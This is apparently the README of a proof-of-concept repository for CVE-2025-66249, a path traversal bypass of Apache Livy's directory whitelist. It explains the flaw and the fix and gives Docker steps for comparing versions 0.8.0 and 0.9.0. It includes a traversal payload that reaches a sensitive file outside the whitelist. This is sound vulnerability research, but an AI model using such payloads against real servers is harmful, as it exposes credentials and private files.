Vulnerability Description

An authenticated user with access to Livy's REST or JDBC interface can submit a Spark session or batch job with a crafted file-path configuration value that escapes the permitted directory whitelist.

Root cause — Path traversal bypass in whitelist check (Session.scala)

When livy.file.local-dir-whitelist is configured, Livy 0.8.0 validates submitted paths by calling Java's String.startsWith() on the raw, un-normalised path. This check can be bypassed using ../ traversal sequences:

The raw string starts with /opt/safe-data, so the check passes — but the path resolves to /opt/sensitive/secret.txt, which is entirely outside the whitelisted directory.

Trigger condition: The vulnerability can only be exploited when livy.file.local-dir-whitelist is set to a non-default (non-empty) value. If the whitelist is empty (the default), path validation is skipped entirely and the issue is not exercised.

Impact: An attacker who submits a session via the Livy REST API can reference arbitrary local files on the Livy server host. In a shared analytics cluster this translates to potential exposure of credentials, keys, configuration files, or any data readable by the Livy process user.

Affected Source Files

File — Session.scala

Vulnerable (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

Fixed (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

Source Code — Clone Commands

Both versions were cloned directly from the official Apache Livy GitHub repository using the following exact commands:

Repository: https://github.com/apache/incubator-livy

Exact Code Diffs

Fix — Session.scala: Paths.get().normalize() before whitelist check

Impact in v0.8.0: The raw string startsWith check can be bypassed with a path traversal payload.

Example: if livy.file.local-dir-whitelist = /opt/safe-data

• v0.8.0: "/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true (bypassed)
• v0.9.0: Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt /opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false (blocked)

Diffs were produced by cloning both tags locally (see above) and running:

Attack Vector Summary

Test Environment

All steps in this PoC were executed and validated on the following system:

Directory Structure

Proof of Concept

Overview

Full end-to-end sequence — follow Steps 1 through 4 in order:

Note: Livy takes approximately 15–20 seconds to become ready after docker run. All steps below include an explicit sleep 20 before any API call.

Step 1 — Build and start the vulnerable environment (Livy 0.8.0 + Spark 3.1.3)

Files:

• docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
• docker/vulnerable/livy.conf — binds on 0.0.0.0:8998, local mode, whitelist = /opt/safe-data

1a. Build the image:

Validate — image was created:

Expected output:

1b. Start the container:

Validate — container is running:

Expected output:

1c. Wait for Livy to start, then verify the REST API:

Livy requires ~15–20 seconds to initialise before it serves requests.

Expected output:

1d. Validate the directory layout inside the container:

Confirm the whitelisted safe file exists:

Expected output:

Confirm the sensitive file exists outside the whitelist:

Expected output:

Step 2 — Run validation against the vulnerable environment

The vulnerable container from Step 1 must still be running on port 8998.

What test/validate.sh tests:

2a. Run the script:

Note: validate.sh works as follows:

1. It polls GET /sessions until Livy responds (up to 60 seconds), confirming the server is ready.
2. It sends a POST /sessions request via curl with a crafted conf payload targeting a file outside the whitelist (/opt/sensitive/secret.txt) using ../ traversal.
3. It reads the HTTP response code: 201 means Livy accepted the path without normalisation (vulnerable); 400 means Livy rejected it after normalisation (fixed).
4. If a session was created (HTTP 201), the script immediately deletes it via DELETE /sessions/{id} to keep the server clean.
5. After the test it prints a summary and exits with code 1 (vulnerable) or 0 (fixed), making it suitable for use in automated pipelines.

Expected output:

2b. Stop and remove the vulnerable container:

Validate — container is fully removed:

Expected output (empty — no rows):

Step 3 — Build and start the fixed environment (Livy 0.9.0 + Spark 3.1.3)

Files:

• docker/fixed/Dockerfile — identical base image and Spark 3.1.3, only Livy version changes to 0.9.0-incubating
• docker/fixed/livy.conf — identical to docker/vulnerable/livy.conf (same whitelist, port, mode)

Keeping Spark, base image, and all configuration identical to Step 1 isolates Livy as the only variable.

3a. Build the image:

Validate — image was created:

Expected output:

3b. Start the container:

Validate — container is running:

Expected output:

3c. Wait for Livy to start, then verify the REST API:

Expected output:

3d. Validate the directory layout inside the container:

The fixed container uses identical fixtures to the vulnerable one — this confirms the only variable between the two environments is the Livy version.

Confirm the whitelisted safe file exists:

Expected output:

Confirm the sensitive file exists outside the whitelist:

Expected output:

Step 4 — Run the same validation against the fixed environment

The fixed container from Step 3 must be running on port 8998. The script is identical — no changes.

What changes between Step 2 and Step 4:

• Same payload, same script
• Livy 0.9.0 now normalises paths with Paths.get().normalize() before the whitelist check
• The attack is rejected with HTTP 400 before a session is created

4a. Run the script:

Expected output:

What the error message confirms:

4b. Stop and remove the fixed container:

Validate — container is fully removed:

Expected output (empty — no rows):

Inference

CVE-2025-66249 is a single, targeted logic flaw in the whitelist enforcement that protects Livy's local-filesystem access path.

The whitelist (livy.file.local-dir-whitelist) existed across all affected versions and was correctly configured. The failure was in how the whitelist was evaluated:

Path traversal bypass (the only weakness): The whitelist comparison in Session.scala used Java's String.startsWith() on the raw path string. This is insufficient for filesystem path comparisons because it does not account for .. traversal segments. A path such as /opt/safe-data/../sensitive/secret.txt satisfies the string check against whitelist entry /opt/safe-data, yet resolves to a location entirely outside it.

The fix in 0.9.0 is minimal and targeted: one call to Paths.get().normalize() is added before the whitelist comparison. This resolves all .. segments before the startsWith check runs, so the traversal payload is correctly identified as pointing outside the allowed directory.

Key takeaway for defenders: The vulnerability is only exploitable when livy.file.local-dir-whitelist is set to a non-empty value. While this means the default configuration is not directly vulnerable, any deployment that has tightened the whitelist (i.e., explicitly restricted which directories Livy may access) is paradoxically the one exposed — because it is the presence of the whitelist that activates the flawed code path. Upgrading to Livy 0.9.0-incubating is the only complete remediation.

References

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-66249
• OSS-Sec disclosure: http://www.openwall.com/lists/oss-security/2026/03/12/2
• Apache mailing list: https://lists.apache.org/thread/1xwphsfn4jbtym4k4o0zlvwfogwqwwc3
• Apache Livy project: https://livy.apache.org/

Acknowledgements

• Hiroki Egawa — original reporter of CVE-2025-66249 to the Apache Security Team.
• Apache Livy maintainers — for the prompt triage and targeted fix in v0.9.0-incubating.
• Apache Security Team — for coordinating the responsible disclosure process.
• OSS-Sec community — for the public disclosure thread that made independent analysis possible.

Contributing

Contributions to improve this PoC or documentation are welcome! Please ensure any contributions:

• Follow responsible disclosure practices
• Include appropriate disclaimers
• Do not include malicious code beyond educational demonstration
• Maintain focus on educational value

To contribute, open a pull request or file an issue describing the proposed change.

License

This project is licensed under the MIT License.

Disclaimer

This repository is for educational and security research purposes only. The proof of concept demonstrates the vulnerability mechanics to aid understanding and defensive measures. Do not use against systems you do not own or have explicit written permission to test.

Tags

cve-2025-66249 apache-livy path-traversal whitelist-bypass cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0 security-research proof-of-concept docker java scala vulnerability-analysis rest-api-security string-startswith-bypass path-normalisation